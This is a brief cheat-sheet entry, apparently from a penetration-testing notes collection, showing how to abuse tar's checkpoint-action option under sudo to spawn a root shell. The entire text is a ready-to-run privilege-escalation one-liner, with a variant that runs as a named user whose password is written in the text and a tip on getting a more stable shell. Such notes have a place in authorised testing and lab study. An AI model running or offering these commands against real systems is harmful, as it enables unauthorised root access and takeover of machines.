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# tar

**#Sudo one liner to escalate privileges, other functionalities also available** 

```
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

#Authenticated variant , password redcliff

sudo -u redcliff tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

# ....  exec=/bin/bash for a more stable shell

```